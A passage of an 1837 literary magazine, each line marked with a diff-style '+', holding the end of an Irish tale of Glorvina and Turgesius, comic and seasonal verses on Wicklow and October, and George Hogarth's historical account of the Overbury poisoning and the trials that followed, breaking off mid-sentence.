+"Stay!" interposed the maid: "the Irish maiden sits not at the banquet
+with the glaive in the girdle of the warrior; for the cup engenders
+ire as well as mirth, and blood may flow as well as wine. Before my
+kinswomen withdraw their veils, let thy chieftains deposit their
+weapons without the hall, and each as he returns accept the first
+maiden that commits herself to his courtesy, and conduct her to her
+seat, nor ask her to remove the guard of modesty till all are in their
+places."
+
+The chiefs waited not for the reply of Turgesius. They passed quickly
+out of the hall; they returned unarmed. All was performed as Glorvina
+prescribed. She waited not for the invitation of Turgesius. Of her own
+accord she entered the apartment prepared for the rover and herself.
+Closely he followed her. The door was closed after him. He sprang
+towards her, and caught her to his breast. She shrieked, and disengaged
+herself. Again he approached her; but stopped short at the sight of a
+dagger, which gleamed in her hand.
+
+"Listen!" cried Glorvina.
+
+Her injunction was unneeded: sounds, not of revelry but of anguish,
+proceeded from the hall, with a noise as of heavy weights cast
+violently upon the floor. Turgesius grew pale. His eyes glared with
+alarm and inquiry.
+
+"Listen!" again cried the maid. Sounds came from without as though the
+storm of battle were on. Turgesius waxed paler still. Surprise and
+terror seemed to have bereft him of the power of motion. He shook from
+head to foot.
+
+"Behold!" exclaimed Glorvina, as the door of the apartment was burst
+open, and Niall presented himself, grasping a reeking brand. The robber
+tottered. Life was almost extinct as the youth, twisting his hand in
+the grey hairs of Turgesius, dragged him from the apartment to his doom.
+
+Not a Dane survived that day.
+
+A second bridal feast graced the hall of Malachi. Niall and Glorvina
+were the bridegroom and the bride. The bard sat beside them with his
+harp; but that harp was not silent now, nor sad. No guest unbidden came
+to the door of that hall. No fray turned the tide of their revelry.
+And when the bright Glorvina retired, with downcast eyes and crimsoned
+cheek, the bridegroom himself arose, and, bowing to the king, lifted
+the brimming cup, and, having cast his eyes around the board, drank
+
+        "TO GLORVINA, THE HEROINE OF MEATH!"
+
+
+
+
+PHELIM O'TOOLE'S
+
+NINE _MUSE_-INGS ON HIS NATIVE COUNTY.
+
+Tune--"_Cruiskeen lawn._"
+
+
+    Let others spend their time
+    In roaming foreign clime,
+    To furnish them with rhyme
+          For books:
+    They'll never find a scene
+    Like Wicklow's valleys green,
+    Wet-nurs'd, the hills between,
+          With brooks--
+          Brooks--brooks,--
+    Wet-nurs'd, the hills between,
+          With brooks!
+
+    _Oh! if I had a station
+    In that part of creation,
+    I'd study the first CAWS like rooks--
+          Rooks--rooks,--
+    I'd study the first CAWS like rooks!_
+
+              II.
+
+    Oh! how the Morning loves
+    To climb the _Sugar-Loaves_,[17]
+    And purple their dwarf groves
+          Of heath!
+    While cottage smoke below
+    Reflects the bloomy glow,
+    As up it winds, and slow,
+          Its wreath--
+          Wreath--wreath,--
+    As up it winds, and slow,
+          Its wreath!
+
+    _Oh! how a man does wonder him
+    When he 'as the big CONE-UNDER-HIM,
+    And ask'd to guess his home beneath--
+          'Neath--'neath,--
+    And ask'd to guess his home beneath!_
+
+              III.
+
+    And there's the _Dargle_ deep,
+    Where breezeless waters sleep,
+    Or down their windings creep
+          With fear;
+    Lest, by their pebbly tread,
+    They shake some lily's head,
+    And cause, untimely shed,
+          A tear--
+          Tear--tear,--
+    And cause, untimely shed,
+          A tear!
+
+    _Oh! my native Dargle,
+    Long may you rinse and gargle
+    Your rocky throat with stream so clear,
+          Clear--clear,--
+    Your rocky throat with stream so clear!_
+
+              IV.
+
+    And there is _Luggalaw_,
+    A gem without a flaw,
+    With lake, and glen, and shaw,
+          So still;
+    The new moon loves to sip
+    Its dew with her young lip,
+    Then takes a ling'ring trip
+          O'er hill--
+          Hill--hill,--
+    Then takes a ling'ring trip
+          O'er hill!
+
+    _Oh! hungry bards might dally
+    For ever in this valley,
+    And always get their fancy's fill--
+          Fill--fill,--
+    And always get their fancy's fill!_
+
+              V.
+
+    And there's the "_Divil's Glin_,"
+    That devil ne'er was in,
+    Nor anything like sin
+          To blight:
+    The Morning hurries there
+    To scent the myrtle air;
+    She'd stop, if she might dare,
+          Till night--
+          Night--night,--
+    She'd stop, if she might dare,
+          Till night!
+
+    _Oh! ye glassy streamlets,
+    That bore the rocks like gimlets,
+    There's nothing like your crystal bright,
+          Bright--bright,--
+    There's nothing like your crystal bright!_
+
+              VI.
+
+    And there's Ovoca's vale,
+    And classic Annadale,[18]
+    Where Psyche's gentle tale
+          Was told:
+    Where MOORE'S fam'd waters meet,
+    And mix a draught more sweet
+    Than flow'd at Pindus' feet
+          Of old--
+          Old--old,--
+    Than flow'd at Pindus' feet
+          Of old!
+
+    _Oh! all it wants is whiskey
+    To make it taste more frisky;
+    Then ev'ry drop would be worth gold--
+          Gold--gold,--
+    Then ev'ry drop would be worth gold!_
+
+              VII.
+
+    And there's the _Waterfall_,
+    That lulls its summer hall
+    To sleep with voice as small
+          As bee's:
+    But when the winter rills
+    Burst from the inward hills,
+    A rock-rent thunder fills
+          The breeze--
+          Breeze--breeze,--
+    A rock-rent thunder fills
+          The breeze!
+
+    _Oh! if the LAND was taught her
+    To FALL as well as WATER,
+    How much it would poor tenants please,
+          Please--please,--
+    How much it would poor tenants please!_
+
+              VIII.
+
+    And if you have a mind
+    For sweet, sad thoughts inclined,
+    In _Glendalough_ you'll find
+          Them nigh:--
+    _Kathleen_ and _Kevin's_ tale
+    So sorrows that deep vale,
+    That birds all songless sail
+          Its sky--
+          Its sky--sky,--
+    That birds all songless sail
+          Its sky!
+
+    _Oh! cruel Saint was Kevin
+    To shun her eyes' blue heaven,
+    Then drown her in the lake hard by--
+          By--by,--
+    Would I have sarved her so?--not I!_
+
+              IX.
+
+    And there's--But what's the use
+    Of praising _Scalp_ or _Douce_?--
+    The wide world can't produce
+          Such sights:
+    So I will sing adieu
+    To Wicklow's hills so blue,
+    And green vales glittering through
+          Dim lights--
+          Lights--lights,--
+    And green vales glittering through
+          Dim lights!
+
+    _Oh! I could from December
+    Until the next November
+    MUSE on this way both days and nights,
+          Nights--nights,--
+    MUSE on this way both days and nights!_
+
+
+FOOTNOTES:
+
+[Footnote 17: Two hills in the county of Wicklow, so called from their
+conical shape.]
+
+[Footnote 18: The residence of the late Mrs. Henry Tighe, the charming
+authoress of "Psyche."]
+
+
+
+
+SONG OF THE MONTH. No. X.
+
+=October, 1837.=
+
+
+                          I.
+
+    You may talk of St. Valentine all his month round,
+      And discourse about June for some brace of days longer;
+    But no saint in the Kalendar ever was found,
+      Throughout the whole year, either merrier or stronger
+    Than his reverence to whom you must now fill your glass,--
+      Many years to him, whether tipsy or sober!--
+    And his name when you've heard, you will let the malt pass,
+      Singing "Hip, hip, hurrah! here's success to October!"
+
+                          II.
+
+    Were I Dan Maclise, his sweet saintship I'd paint
+      With his face like John Reeve's, and in each hand a rummer;
+    And write underneath, "Oh! good luck to the saint
+      Who comes in the days between winter and summer!"
+    Yes, the jolly gay chap has well chosen his time,
+      He is here as the leaves are beginning to yellow,
+    For he knows it is not when the grapes are in prime
+      That their juice is most fit for a hearty gay fellow.
+
+                          III.
+
+    And though, without leave from the council or pope,
+      In Bentley's Miscellany I canonize him
+    Thus late in the day, still I'm not without hope
+      There are some who, perhaps, will not wholly despise him:
+    Tis for such lads as they are, and each jolly lass,
+      Who can smile on them whether they're tipsy or sober,
+    That new saints should be made. Come, then, fill up each glass,
+      And "Hip, hip, hurrah! one cheer more for October!"
+
+
+
+
+THE POISONERS OF THE SEVENTEENTH CENTURY.
+
+BY GEORGE HOGARTH.
+
+No. II.
+
+
+Our Scottish Solomon, King James the First, amongst other instances
+of wisdom, was especially addicted to favourites. During his whole
+reign he was governed by a succession of minions. His prime favourite,
+Buckingham, (the celebrated "Steeny,") was preceded in his affections
+by a man little less remarkable, the Earl of Somerset. Robert Carr, a
+young man of a respectable Scotch family, appeared at court very soon
+after James's accession to the English crown. At a tilting-match, where
+the king was present, Carr by an accident was thrown from his horse,
+and had his leg broken. The king, who had been struck with his handsome
+figure, made him be attended by his own surgeons, visited him daily,
+and soon became immoderately fond of his society. The young favourite
+did not neglect the means of advancement; before many months were over
+he was knighted and made a gentleman of the bedchamber, and from that
+time became all-powerful at court. There is a letter from Lord Thomas
+Howard to Sir John Harrington, written about the year 1608, which
+shows the feelings of the courtiers upon the subject. "Carr," says the
+writer, "hath all the favours, as I told you before. The king teacheth
+him Latin every morning, and I think some one should teach him English
+too; for he is a Scottish lad, and hath much need of better language.
+The king doth much covet his presence: the ladies, too, are not behind
+hand in their admiration; for, I tell you, good knight, this fellow
+is straight-limbed, well-favoured, and smooth-faced, with some sort
+of cunning and show of modesty, though, God wot, he well knoweth when
+to show his impudence. Your lady is virtuous, and somewhat of a good
+housewife; has lived in a court in her time, and I believe you may
+venture her forth again; but I know those would not so quietly rest,
+were Carr to leer on their wives, as some do perceive, yea, and like it
+well too they should be so noticed. If any mischance be to be wished,
+'tis breaking a leg in the king's presence; for this fellow owes all
+his favour to that bout. I think he hath better reason to speak well of
+his own horse than the king's roan jennet. We are almost worn out in
+our endeavours to keep pace with this fellow in his duty and labour to
+gain favour, but in vain; where it endeth I cannot guess, but honours
+are talked of speedily for him." These honours speedily followed, Carr
+having been soon afterwards created Viscount Rochester.
+
+Robert, Earl of Essex, the son of the unfortunate favourite of Queen
+Elizabeth, had married, in the year 1603, the Lady Frances Howard,
+eldest daughter of the Earl of Suffolk. The earl was only fourteen, and
+his bride a year younger. Immediately after the marriage the young earl
+was sent abroad on his travels, the countess remaining at court,--of
+which she was one of the brightest ornaments. Under a form, however,
+of singular loveliness, she concealed a mind of not less singular
+depravity. When Essex returned, after a few years' absence, he found
+her affections quite estranged from him. She had conceived a passion
+for the handsome favourite, and received her husband with contemptuous
+coldness; while she endeavoured, by her arts and allurements, to
+captivate the object of her guilty flame. To these means she added
+others more peculiarly characteristic of the age. There was a woman of
+the name of Turner, a servant or dependant of the countess's family,
+and with whom she appears to have associated much in her childhood and
+youth. This woman was of an atrocious character, and soon succeeded in
+making her patroness as wicked as herself. Mrs. Turner, as well as the
+countess, had an illicit amour; and they were in the habit of resorting
+to a Dr. Forman, a celebrated quack and dealer in magic, in order, by
+means of love-philters and conjurations, to obtain the objects of their
+wishes.
+
+Whether Dr. Forman's charms prevailed, or the countess's own were
+sufficient, Rochester was soon caught; and a guilty _liaison_ was
+formed between them.
+
+Sir Thomas Overbury was then Lord Rochester's secretary. He was an able
+and accomplished man, in the prime of life, of a bold and aspiring
+disposition; and, being high in the good graces of the reigning
+favourite, appeared to be on the road to political distinction. To
+the raw youth, who had had "greatness thrust upon him" so rapidly,
+the services of a man of parts and experience were invaluable; and
+Overbury, by acting as the guide and counsellor of the favourite,
+directed, in a great measure, the movements of majesty itself.
+
+Rochester made Overbury the confidant of his intrigue with Lady Essex;
+and the secretary, in order to pay his court to his patron, encouraged
+and assisted him in the prosecution of it. He even composed the
+_billets-doux_ which the illiterate lover sent to his _inamorata_.
+
+The countess, not content with the clandestine indulgence of her
+adulterous passion, now conceived the idea of getting rid of her
+husband. The intercourse between her and Rochester had become so
+shameless and open that it was loudly talked of by the world; and
+it appeared evident that a divorce from her husband, followed by a
+marriage with her lover, was the only way to prevent their separation.
+The countess, therefore, instituted proceedings against her husband for
+a divorce, on grounds to which only a shameless and abandoned woman
+could think of resorting. The favourite gained the king's sanction and
+support to this scandalous suit; and, after a course of procedure which
+is a disgrace to the judicature of that age, a sentence of divorce was
+pronounced by judges influenced and intimidated by the king himself,
+whose interference was grossly arbitrary and indecent. Within six weeks
+after the divorce, Lady Essex was married to Rochester, whom the king
+had previously created Earl of Somerset.
+
+While his patron's connexion with Lady Essex was merely an adulterous
+intrigue, Overbury had no objection to it; but he seems to have been
+shocked and frightened at the idea of Lord Rochester's marrying a
+woman of whose atrocious character he was well aware. He, therefore,
+earnestly dissuaded Rochester from this marriage. One night, when they
+were walking together in the gallery at Whitehall, Overbury made use of
+the most earnest remonstrances.
+
+"Well, my lord," he said, "if you do marry that base woman you will
+utterly ruin your honour and yourself. You shall never do it by my
+advice, or with my consent; and, if you do, you had best look to stand
+fast."
+
+"My own legs are strong enough to bear me up," cried Rochester, stung
+with such language applied to a woman whose fascinations retained all
+their power over him; "but, in faith, I will be even with you for
+this." So saying, he flung away in a rage, and left the place. The
+conference was terminated with such heat that the words of the speakers
+were overheard by persons in an adjoining room, who soon had cause to
+remember them.
+
+Rochester allowed his resentment apparently to subside, and treated
+his secretary as before. He even requested the king, as a mark of
+favour, to appoint Overbury ambassador to Russia. The king complied;
+and Overbury accepted the appointment with great alacrity. But this act
+of kindness, as it seemed to be, on the part of Somerset, was the first
+step to a deep and deadly revenge for the insult to the woman whom he
+had resolved to marry, and whose fury he had roused by informing her of
+what had passed.
+
+Having allowed Overbury to accept the office which he had procured
+for him, Somerset now advised him to decline it. "If you serve as
+ambassador," he said, "I shall not be able to do you so much good as if
+you remain with me. If you are blamed, or even committed for refusing,"
+he added, "never mind: I will take care that you meet with no harm."
+Overbury, in an evil hour, listened to this perfidious counsel, sent
+his resignation to the king, and was instantly sent to the Tower.
+
+Sent to the Tower for declining to accept an office! Even so. Such was
+the "Divine right" of an absolute king, in England, in the seventeenth
+century. Without even the shadow, or the accusation, of a crime, Sir
+Thomas Overbury was immured in a dungeon, because he declined the
+honour of being sent as ambassador to Russia.
+
+This act of tyranny was committed at the instigation of the favourite;
+and Overbury, in the Tower, was entirely in the hands of his enemies.
+Somerset, in the first place, obtained from the king the dismissal of
+the lieutenant of the Tower, and the appointment, in his stead, of Sir
+Jervis Elwes, one of Somerset's creatures. One Richard Weston, who had
+been shopman to an apothecary, was made under-keeper, and specially
+charged with the custody of Overbury. This man had been an agent of
+Lady Essex in her secret transactions with Dr. Forman and Mrs. Turner,
+and in affording opportunities for her guilty meetings with Lord
+Rochester at Mrs. Turner's house, and elsewhere, and was quite ready
+to perpetrate any deed of darkness which they might desire. Weston,
+thus become Overbury's keeper, confined him so closely that he was
+scarcely permitted to see the light of day; and debarred him from all
+intercourse with his family, relations, and friends.[19]
+
+The associates in wickedness lost no time in commencing their
+operations on their victim, whom they had determined to destroy by
+degrees, so as to prevent suspicion. Weston, on the very day he became
+Overbury's keeper, administered to him a slow poison, provided by Mrs.
+Turner; and, from that time, some poisonous substance was mingled with
+every article of food or drink which was given him. "He never ate
+white salt," said one of the witnesses on the trials which afterwards
+took place, "but there was white arsenic put into it. Once he desired
+pig, and Mrs. Turner put into it _lapis costitus_ (lunar caustic). At
+another time he had two partridges sent him from the court; and water
+and onions being the sauce, Mrs. Turner put in cantharides instead of
+pepper; so that there was scarce any thing that he did eat but there
+was some poison mixed."
+
+Under such treatment Overbury's constitution (which seems to have been
+of extraordinary strength) began to give way. Relying on Rochester's
+promise, that his refusal to accept the embassy should bring him to no
+harm, he daily expected his release. After remaining in this state for
+three or four weeks, he wrote to Rochester, urging him to remember his
+promise, and received for answer that "the time would not suffer; but,
+as soon as possible might be, he would hasten his delivery;" a promise
+which he certainly intended to fulfil, though not in the sense in which
+it was meant to be understood. By way of "hastening his delivery,"
+Rochester sent him a letter, containing a white powder, which he
+desired him to take. "It will," he said, "make you more sick; but fear
+not: I will make this a means for your delivery, and the recovery of
+your health." Unsuspicious of treachery, Overbury took the powder,
+which acted upon him violently, and (as he indeed expected) increased
+his sickness. Weston afterwards confessed that it was arsenic.
+
+In this situation Overbury languished for two months, growing worse
+and worse. His suspicions being now, to some extent, awakened, he
+wrote to Rochester: "Sir,--I wonder you have not yet found means to
+effect my delivery; but I remember you said you would be even with me,
+and so indeed you are: but, assure yourself, my lord, if you do not
+release me, but suffer me thus to die, my blood will be required at
+your hands." Overbury appears to have remembered Rochester's threat
+that he would be even with him for the manner in which he had spoken of
+Lady Essex; but never seems to have dreamed that more was meant than
+to punish him by a protracted imprisonment. He therefore was satisfied
+with the explanations and excuses sent him by Lord Rochester, who
+affected, at the same time, to show the utmost anxiety for his comfort.
+He was daily visited by creatures of Lord Rochester and Lady Essex, who
+delivered him encouraging messages from Rochester, and pretended to
+furnish him with various comforts in the articles of food and drink,
+which he could not otherwise have had in the Tower. To gratify a sickly
+appetite he expressed a wish for tarts and jellies, which were provided
+by Mrs. Turner, and sent to Elwes, the lieutenant of the Tower, to be
+given to Overbury, by Lord Rochester and Lady Essex. These sweetmeats
+were not poisoned at first; but the poisoned ones were accompanied
+by a letter from Lady Essex to Elwes, in which she said, "I was bid
+to tell you that in the tarts and jellies there are _letters_, but
+in the wine none; and of that you may take yourself, and give your
+wife, but, of the other, not. Give him these tarts and jelly this
+night, and all shall be well." The meaning of the word, _letters_, is
+sufficiently evident; but the countess afterwards removed any doubt
+on the subject, by confessing, on her trial, that "by _letters_ she
+meant poison." Rochester appears to have been then residing at some
+little distance from town; for Lady Essex was the immediate agent in
+these transactions, and carried on a correspondence with Rochester on
+the subject. In one of his letters to her he expressed his wonder "that
+things were not yet despatched;" on which she sent instructions to
+Weston to despatch Overbury quickly. Weston's answer was, that he had
+already given him as much as would poison twenty men. Still, however,
+the victim survived. He was now reduced to extremity; but the patience
+of his destroyers was exhausted, and they put an end to his sufferings
+by a dose of corrosive sublimate. He died in October 1613, having been
+for nearly six months in their hands. His body, carelessly wrapped in a
+sheet, was buried in a pit on the very day of his death, without having
+been seen by any of his friends, or the holding of a coroner's inquest;
+though, as Elwes admitted on his trial, the duty of the lieutenant of
+the Tower was, that if any prisoner died there, his body was to be
+viewed, and an inquisition taken by the coroner. These circumstances
+excited suspicion, and Overbury's relations were persuaded to take
+some steps towards the prosecution of an inquiry: but the attempt was
+defeated by the power and influence of the noble criminals.
+
+The marriage between Rochester, now Earl of Somerset, and Lady Essex,
+took place in February 1614, four months after the close of this
+tragedy. It was celebrated with a pomp and splendour more befitting the
+nuptials of a prince than those of a subject. The king himself gave
+away the bride. A masque, according to the fashion of the times, was
+exhibited by the courtiers, and another by the gentlemen of Gray's Inn;
+their repugnance to this act of sycophancy having been overcome, it
+is said, by the persuasions of Bacon,--a man whose moral deficiencies
+formed a strange contrast to his almost superhuman vastness of
+intellect. A splendid banquet, too, was given by the City, at which
+the king, queen, and all the court, were present. But the public knew
+enough of the open profligacy of this brilliant pair to look upon them
+with indignation,--a feeling accompanied with abhorrence of the dark
+deeds already strongly suspected.
+
+Somerset was now at the height of his greatness; but he no longer
+possessed the qualities which had gained him the king's favour. His
+appearance and manners underwent a total change. His countenance became
+care-worn and haggard; his dress neglected; his manners morose and
+gloomy. The alteration was apparent to all; and the king became weary
+of one who no longer ministered to his amusement. His majesty had now,
+too, found a new favourite,--George Villiers, afterwards the famous
+Duke of Buckingham, who gained James's affections by the same means
+as Somerset himself had done,--a handsome person, graceful manners,
+quick parts, and courtly obsequiousness. These two men became rivals
+and enemies. Somerset was universally odious from his arrogance and
+rapacity; and Villiers was looked upon with favour as the probable
+instrument of his fall. Somerset, now aware of his danger, and
+trembling for the discovery of his guilt when he might no longer have
+the king for a protector, availed himself of his remaining influence
+with James to obtain from him a pardon for all past offences. This
+he begged as a safeguard against the consequences of any errors
+into which he might have fallen in the high offices which he had
+held, and the secret and important affairs with which it had been his
+majesty's pleasure to intrust him. Strange to say, the king signed a
+document, whereby he pardoned "all manner of treasons, misprisions of
+treasons, murders, felonies, and outrages whatsoever, committed, or
+to be committed," by Somerset. But, when this deed was carried to the
+Lord Chancellor, he absolutely refused to affix the great seal to it,
+declaring it to be absolutely illegal. No importunity could prevail on
+him to yield; and Somerset remained without the shield with which he
+had endeavoured to provide himself.
+
+The rivalry between the favourites went on increasing; but the Earl
+of Somerset's rank and standing still gave him the ascendancy. The
+king wished them reconciled; and, for this purpose, desired Villiers
+to wait on Somerset with a tender of his duty and attachment. But the
+haughty earl, though he had received a hint that the king expected
+this offer to be graciously received, spurned at it. "I will none of
+your service," was his answer, "and you shall none of my favour. I
+will, if I can, break your neck, and of that be confident." It was
+immediately after this interview that an inquiry was set on foot into
+the circumstances of Overbury's murder; and the supposition of a
+contemporary writer is not improbable, that, "had Somerset complied
+with Villiers, Overbury's death had still been raked up in his own
+ashes."
+
+The first step that appears to have been taken in this inquiry was a
+private examination of Sir Jervis Elwes, the lieutenant of the Tower,
+by the king himself, who piqued himself on his skill in conducting
+judicial investigations; in which, indeed, he had acquired great
+experience during his turbulent reign in Scotland. Pressed by the
+king's questions, Elwes admitted his knowledge of Weston's intention
+to poison his prisoner, but denied his own participation in the crime.
+Weston, being apprehended and examined, admitted circumstances which
+involved Mrs. Turner, and the Earl and Countess of Somerset. The
+king issued his warrant for the commitment of the earl and countess
+to private custody, which was executed on the 15th October 1615. The
+circumstances attending this arrest, as related by a contemporary,
+Sir Anthony Weldon, in his "_Court and Character of King James_," are
+curious, and characteristic of that monarch.
+
+"The day," says this writer, "the king went from Whitehall to
+Theobald's, and so to Royston, the king sent for all the judges, (his
+lords and servants encircling him,) where, kneeling down in the midst,
+he used these words:--'My lords the judges, it is lately come to my
+hearing that you have now in examination a business of poisoning. Lord,
+in what a miserable condition shall this kingdom be, (the only famous
+nation for hospitality in the world,) if our tables should become such
+a snare as none could eat without danger of life, and that Italian
+custom should be introduced among us! Therefore, my lords, I charge
+you, as you will answer it at that great and dreadful day of judgment,
+that you examine it strictly, without favour, affection, or partiality;
+and, if you shall spare any guilty of this crime, God's curse light on
+you and your posterity; and, if _I_ spare any that are guilty, God's
+curse light on me and my posterity for ever!'"
+
+We shall presently see how his majesty kept this solemn vow, uttered
+in such awful terms. "The king, with this," continues Weldon, "took
+his farewell for a time of London, and was accompanied with Somerset
+to Royston, where, no sooner he brought him, but instantly took leave,
+little imagining what viper lay among the herbs; nor must I forget to
+let you know how perfect the king was in the art of dissimulation,
+or, to give it his own phrase, kingcraft. The Earl of Somerset never
+parted from him with more seeming affection than at this time, when he
+knew Somerset would never see him more; and, had you seen that seeming
+affection,--as the author himself did,--you would rather have believed
+he was in his rising than setting. The earl, when he kissed his hand,
+the king hung about his neck, slabbering his cheeks, saying, 'For God's
+sake, when shall I see thee again? On my soul I shall neither eat nor
+sleep until you come again.' The earl told him 'On Monday,'--this
+being the Friday. 'For God's sake, let me!' said the king. 'Shall I?
+shall I?' then lolled about his neck. 'Then, for God's sake, give thy
+lady this kiss for me!' In the same manner at the stairs' head, at
+the middle of the stairs, and at the stairs' foot. The earl was not
+in his coach when the king used these very words in the hearing of
+four servants, one of whom was Somerset's great creature, and of the
+bed-chamber, who reported it instantly to the author of this history;
+'I shall never see his face more.'"
+
+It afterwards appeared that, when Somerset returned to London, he found
+that his wife had received the fatal tidings of Weston's apprehension.
+There was an apothecary of the name of Franklin who had been employed
+by the countess and Mrs. Turner to procure the poisons. At a late hour
+in the night Mrs. Turner was despatched to bring this man to the earl's
+house. When he arrived, he found the countess in a state of violent
+agitation. "Weston," she said, "was taken; he should likely be seized
+immediately, and they should all be hanged." She went into an inner
+room, where Franklin heard her conversing with her husband. On her
+return she again urged Franklin to be silent, and made him swear not
+to reveal any thing. "The lords," she told him, "if they examine you,
+will put you in the hope of a pardon upon confession: but believe them
+not; for, when they have got out of you what they want, we shall all be
+hanged." "Nay, madam," said Mrs. Turner, who was in the room, "I will
+not be hanged for you both." That same night, or next morning, the earl
+and countess, with Mrs. Turner, were arrested, and committed to prison.
+
+Weston was first tried. At first, by the direction of Serjeant
+Yelverton, "an obliged servant of the house of Howard," he stood mute,
+and refused to plead; but, after a few days, the terror of being
+pressed to death overcame his resolution, and he pleaded "Not guilty."
+The circumstances already detailed, in which he was concerned, were
+fully proved. He himself confessed that he had been the medium of
+the correspondence carried on between Lord Rochester and Lady Essex,
+not only in regard to the poisoning of Overbury, but during their
+adulterous intercourse; and he also confessed that, after Overbury's
+death he had received, as a reward, one hundred and eighty pounds
+from the countess, by the hands of Mrs. Turner. He was convicted, and
+executed at Tyburn. At the time of his execution, Sir John Holles and
+Sir John Wentworth, friends of the Earl of Somerset, went to Tyburn,
+and urged Weston to deny what he had before confessed; but he refused
+to do so: and these gentlemen were afterwards prosecuted in the
+Star-Chamber for traducing the king's justice in these proceedings.
+
+The next trial was that of Mrs. Turner. It excited intense interest,
+as it involved, besides the murder of Overbury, the circumstances of
+Lady Essex's connexion with Rochester. Some letters from the countess
+to Mrs. Turner, and Forman the conjuror, were read, and are preserved
+in the record of the proceedings. To Mrs. Turner, (whom she addresses
+"Sweet Turner,") after complaining of her misery in her husband's
+society, and giving vent to her passion for Rochester, she says, "As
+you have taken pains all this while for me, so now do all you can,
+for I was never so unhappy as now; for I am not able to endure the
+miseries that are coming upon me, but I cannot be happy so long as
+this man liveth: therefore, _pray for me_,(!) for I have need, and I
+should be better if I had your company to ease my mind. Let _him_ know
+this ill news" (her husband's insisting on cohabiting with her); if
+I can get this done, you shall have as much money as you can demand:
+this is fair-play. Your sister, FRANCES ESSEX." In a letter to Forman,
+she says, "Sweet father,--I must still crave your love, although I
+hope I have it, and shall deserve it better hereafter. Keep the lord
+[Rochester] still to me, for that I desire; and be careful you name
+me not to anybody, for we have so many spies that you must use all
+your wits,--and all little enough, for the world is against me, and
+the heavens favour me not. Only happy in your love, I hope you will
+do me good; and, if I be ungrateful, let all mischief come unto me.
+My lord is lusty and merry, and drinketh with his men; and all the
+content he gives me is to abuse me, and use me as doggedly as before.
+I think I shall never be happy in this world, because he hinders my
+good; and will ever, I think so. Remember, I beg, for God's sake, and
+get me out from this vile place. Your affectionate loving daughter,
+FRANCES ESSEX." Some of the magical implements made use of by these
+wretches, such as images, pictures, &c. were exhibited in court. "At
+the showing of these," says the account in the _State Trials_, "there
+was heard a crack from the scaffolds, which caused great fear, tumult,
+and confusion among the spectators, and throughout the hall; every one
+fearing hurt, as if the devil had been present, and grown angry to
+have his workmanship showed by such as were not his scholars. There
+was also a note showed in the court made by Dr. Forman, and written on
+parchment, signifying what ladies loved what lords in court; but the
+Lord Chief Justice would not suffer it to be read openly in court." The
+scandal of the day was, that Coke suppressed the note because he found
+his own wife's name at the beginning of it.
+
+Mrs. Turner's share in the death of Overbury was amply proved; and Coke
+pronounced sentence upon her, telling her that she had been guilty of
+the seven deadly sins, among which he enumerated witchcraft and popery.
+"Upon the Wednesday following," says the account of the trial, "she was
+brought from the sheriff's in a coach to Newgate, and was there put
+into a cart; and, _casting money often among the people as she went_,
+she was carried to Tyburn, where she was executed, and whither many
+men and women of fashion came in coaches to see her die; to whom she
+made a speech, desiring them not to rejoice at her fall, but to take
+example by her. She exhorted them to serve God, and abandon pride and
+all other sins; related her breeding with the Countess of Somerset,
+having had no other means to maintain her and her children but what
+came from the countess; and said further, that, when her hand was once
+in the business, she knew the revealing it would be her overthrow. The
+which, with other like speeches, and great penitency there showed,
+moved the spectators to great pity and grief for her."
+
+Immediately after Mrs. Turner's execution, Sir Jervis Elwes, the
+lieutenant of the Tower, was brought to trial. He was convicted upon
+the evidence of the correspondence which he had held with the Earl
+and Countess of Somerset, and also with the Earl of Northampton, the
+countess's uncle; from which it appeared that that nobleman had been
+deeply implicated in Overbury's murder. By the letters read on this and
+some of the other trials it was shown that Northampton was not only
+aware of Somerset's adulterous intercourse with his niece, but had
+aided them in carrying it on; that he had been a principal promoter
+of the scandalous divorce, and the equally scandalous marriage which
+followed it; and that he was not only privy to the murder, but actively
+instrumental in the steps taken to conceal the crime. He was, however,
+freed by his death the preceding year from the earthly retribution
+which would now have overtaken him. In the course of this trial the
+name of Sir Thomas Monson, the chief falconer, was also implicated;
+it having appeared that through his recommendation Weston had been
+employed as Overbury's keeper, and that he was at least aware of the
+crime. One of the principal pieces of evidence was the voluntary
+confession of Franklin the apothecary, who had been employed to provide
+the poisons. This man, among many other things, said, "Mrs. Turner came
+to me from the countess, and wished me from her to get the strongest
+poison I could for Sir Thomas Overbury. Accordingly I bought seven,
+viz. aquafortis, white arsenic, mercury, powder of diamonds, lapis
+costitus (lunar caustic), great spiders, and cantharides: all these
+were given to Sir Thomas Overbury at several times." He declared also,
+that the lieutenant knew of these poisons: "for that appeared," he
+said, "by, many letters which he writ to the Countess of Essex, which
+I saw, and thereby knew that he knew of this matter."--"For these
+poisons," he further said, "the countess sent me rewards. She sent
+many times gold by Mrs. Turner. She afterwards wrote unto me to buy
+more poisons. I went unto her, and told her I was weary of it; and
+I besought her upon my knees that she would use me no more in these
+matters: but she importuned me, bade me go, and enticed me with fair
+speeches and rewards; so she overcame me, and did bewitch me." The
+cause of the poisoning, he said, as the countess told him, was because
+Sir Thomas Overbury would pry so far into their suit (the divorce) as
+he would put them down. He added, that, on the marriage-day of the
+countess with Somerset, (which was after Overbury's death,) she sent
+him twenty pounds by Mrs. Turner, and he was to have been paid by
+the countess two hundred pounds per annum during his life. The Lord
+Chief Justice, when he produced Franklin's confession upon this trial,
+prefaced his reading of it by informing the court that this poor man,
+not knowing Sir Jervis should come to his trial, had come to him that
+morning at five o'clock, and told him that he was much troubled in his
+conscience, and could not rest until he had made his confession: "and
+it is such a one," added the Chief Justice, "as the eye of England
+never saw, nor the ear of Christendom ever heard." Sir Jervis, who had
+defended himself strenuously against the other articles of evidence,
+was struck dumb by this unexpected disclosure. He was found guilty,
+condemned, and executed, after having at the place of execution made a
+full confession of his guilt.
+
+Franklin was then tried, convicted, and executed, on his own confession
+alone, to which, as it was entirely voluntary, he seems really to have
+been prompted by remorse. In passing sentence upon him, the Lord Chief
+Justice said, that, "knowing as much as he knew, if this had not been
+found out, neither the court, city, nor any particular family, had
+escaped the malice of this wicked cruelty."
+
+Sir Thomas Monson was next arraigned, and strongly exhorted by the
+crown lawyers to confess his crime; one of them (Hyde) declaring him
+to be "as guilty as the guiltiest." The trial, however, was brought
+to a strange and abrupt conclusion. In the middle of the preliminary
+proceedings the culprit was suddenly carried off from the bar by a
+party of yeomen of his majesty's guard, and taken to the Tower, from
+whence he was soon afterwards liberated without further trial. This
+singular interference is ascribed to some mysterious expressions
+dropped by the Lord Chief Justice. "But the Lord Chief Justice Coke,"
+says Sir Anthony Weldon, "in his rhetorical flourishes at Monson's
+arraignment, vented some expressions as if he could discover more than
